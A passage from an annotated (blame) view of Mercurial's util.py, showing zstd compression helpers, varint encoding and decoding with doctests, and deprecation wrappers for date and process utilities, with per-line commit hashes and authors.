f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3611
                # This was measured to be faster than other streaming
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3612
                # decompressors.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3613
                dobj = self._dctx.decompressobj()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3614
                chunks = []
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3615
                pos = 0
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3616
                while pos < insize:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3617
                    pos2 = pos + self._decompinsize
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3618
                    chunk = dobj.decompress(data[pos:pos2])
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3619
                    if chunk:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3620
                        chunks.append(chunk)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3621
                    pos = pos2
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3622
                # Frame should be exhausted, so no finish() API.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3623
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3624
                return ''.join(chunks)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3625
            except Exception as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3626
                raise error.RevlogError(_('revlog decompress error: %s') %
37087
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37086
diff changeset
  3627
                                        stringutil.forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3628
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3629
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3630
        opts = opts or {}
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3631
        return self.zstdrevlogcompressor(self._module,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3632
                                         level=opts.get('level', 3))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3633
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3634
compengines.register(_zstdengine())
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3635
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3636
def bundlecompressiontopics():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3637
    """Obtains a list of available bundle compressions for use in help."""
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3638
    # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3639
    items = {}
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3640
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3641
    # We need to format the docstring. So use a dummy object/type to hold it
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3642
    # rather than mutating the original.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3643
    class docobject(object):
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3644
        pass
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3645
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3646
    for name in compengines:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3647
        engine = compengines[name]
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3648
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3649
        if not engine.available():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3650
            continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3651
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3652
        bt = engine.bundletype()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3653
        if not bt or not bt[0]:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3654
            continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3655
31811
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31795
diff changeset
  3656
        doc = pycompat.sysstr('``%s``\n    %s') % (
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31795
diff changeset
  3657
            bt[0], engine.bundletype.__doc__)
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3658
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3659
        value = docobject()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3660
        value.__doc__ = doc
33839
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33820
diff changeset
  3661
        value._origdoc = engine.bundletype.__doc__
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33820
diff changeset
  3662
        value._origfunc = engine.bundletype
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3663
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3664
        items[bt[0]] = value
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3665
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3666
    return items
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3667
33841
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33839
diff changeset
  3668
i18nfunctions = bundlecompressiontopics().values()
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33839
diff changeset
  3669
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3670
# convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3671
dst = debugstacktrace
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3672
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3673
def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3674
    """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3675
    Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3676
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3677
    f:      filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3678
    tag:    a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3679
    ctx:    a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3680
    others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3681
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3682
    Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3683
    in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3684
    """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3685
    if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3686
        others = set()
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3687
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3688
    fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3689
    if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3690
        return fn
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3691
    for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3692
        fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3693
        if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
  3694
            return fn
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3695
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3696
def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3697
    '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3698
    s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3699
    if len(s) < n:
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3700
        raise error.Abort(_("stream ended unexpectedly"
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3701
                           " (got %d bytes, expected %d)")
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3702
                          % (len(s), n))
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  3703
    return s
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3704
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3705
def uvarintencode(value):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3706
    """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3707
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3708
    A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3709
    except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3710
    each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3711
    first.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3712
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3713
    >>> uvarintencode(0)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3714
    '\\x00'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3715
    >>> uvarintencode(1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3716
    '\\x01'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3717
    >>> uvarintencode(127)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3718
    '\\x7f'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3719
    >>> uvarintencode(1337)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3720
    '\\xb9\\n'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3721
    >>> uvarintencode(65536)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3722
    '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3723
    >>> uvarintencode(-1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3724
    Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3725
        ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3726
    ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3727
    """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3728
    if value < 0:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3729
        raise error.ProgrammingError('negative value for uvarint: %d'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3730
                                     % value)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3731
    bits = value & 0x7f
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3732
    value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3733
    bytes = []
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3734
    while value:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3735
        bytes.append(pycompat.bytechr(0x80 | bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3736
        bits = value & 0x7f
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3737
        value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3738
    bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3739
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3740
    return ''.join(bytes)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3741
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3742
def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3743
    """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3744
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3745
    The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3746
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3747
    >>> try:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3748
    ...     from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3749
    ... except ImportError:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3750
    ...     from io import BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3751
    >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3752
    0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3753
    >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3754
    1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3755
    >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3756
    127
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3757
    >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3758
    1337
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3759
    >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3760
    65536
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3761
    >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3762
    Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3763
        ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3764
    Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3765
    """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3766
    result = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3767
    shift = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3768
    while True:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3769
        byte = ord(readexactly(fh, 1))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3770
        result |= ((byte & 0x7f) << shift)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3771
        if not (byte & 0x80):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3772
            return result
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  3773
        shift += 7
36636
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3774
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3775
###
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3776
# Deprecation warnings for util.py splitting
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3777
###
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3778
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3779
def _deprecatedfunc(func, version, modname=None):
37081
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3780
    def wrapped(*args, **kwargs):
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3781
        fn = pycompat.sysbytes(func.__name__)
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3782
        mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
37081
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3783
        msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3784
        nouideprecwarn(msg, version)
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3785
        return func(*args, **kwargs)
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3786
    wrapped.__name__ = func.__name__
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3787
    return wrapped
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3788
36636
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3789
defaultdateformats = dateutil.defaultdateformats
c6061cadb400 util: extract all date-related utils in utils/dateutil module
Boris Feld <boris.feld@octobus.net>
parents: 36617
diff changeset
  3790
extendeddateformats = dateutil.extendeddateformats
37081
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3791
makedate = _deprecatedfunc(dateutil.makedate, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3792
datestr = _deprecatedfunc(dateutil.datestr, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3793
shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3794
parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3795
strdate = _deprecatedfunc(dateutil.strdate, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3796
parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
b3079fea3838 util: add helper to define proxy functions to utils.*
Yuya Nishihara <yuya@tcha.org>
parents: 37055
diff changeset
  3797
matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
37086
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3798
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3799
stderr = procutil.stderr
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3800
stdin = procutil.stdin
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3801
stdout = procutil.stdout
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3802
explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3803
                              modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3804
findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3805
getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3806
getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3807
hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3808
                             modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3809
popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3810
quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
